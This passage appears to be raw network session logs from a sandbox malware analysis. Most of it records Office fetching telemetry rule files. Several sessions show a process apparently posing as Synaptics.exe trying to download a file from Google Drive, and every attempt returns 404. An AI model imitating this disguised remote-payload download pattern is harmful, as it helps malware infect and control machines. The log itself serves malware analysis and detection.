2024-11-05 21:44:23 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:23 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 66 37 75 65 76 6c 5a 72 53 4c 53 50 72 68 54 6c 50 68 67 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="kf7uevlZrSLSPrhTlPhgDA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:23 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 6b8af152-501e-008f-6bcb-2f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214423Z-17df447cdb5g2j9ghC1DFWev0800000001v00000000059du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 34624292-801e-0047-3c58-2e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214423Z-15869dbbcc6lq2lzhC1DFWym6c00000000p000000001266v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: bbcd7168-d01e-002b-5940-2e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214423Z-15869dbbcc6zbpm7hC1DFW73ew00000000ng000000005h1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 2173f510-c01e-000b-3b58-2ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214423Z-15869dbbcc6xpvqthC1DFW7ehg00000002g0000000003hwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 7b6e4e7e-601e-0050-245f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214423Z-17df447cdb5rrj6shC1DFW6qg400000001p000000000v8br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2e6eb393-601e-0097-4b00-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-16547b76f7f2g4rlhC1DFWnx8800000005n000000000e0d2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 886cc861-d01e-0049-60f4-2ee7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-17df447cdb57srlrhC1DFWwgas000000023g000000000n8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49857	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FjN0tg0p4tdF4ZuJs-LeDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49858	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:24 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:24 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-aw3AGEUUvhqgs3mXaEX4GQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY3SjkWI9q6-H_juIBJu9xT_xOofQ4KjbLPuMfkVLj8X0G504OHIIynYuASyGZjcQ1xic2lZ0h6Jww Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:24 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:24 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 6a 32 43 43 31 66 69 6a 5f 48 69 4f 61 35 76 49 68 6d 52 77 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="Cj2CC1fij_HiOa5vIhmRwg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:24 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49860	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
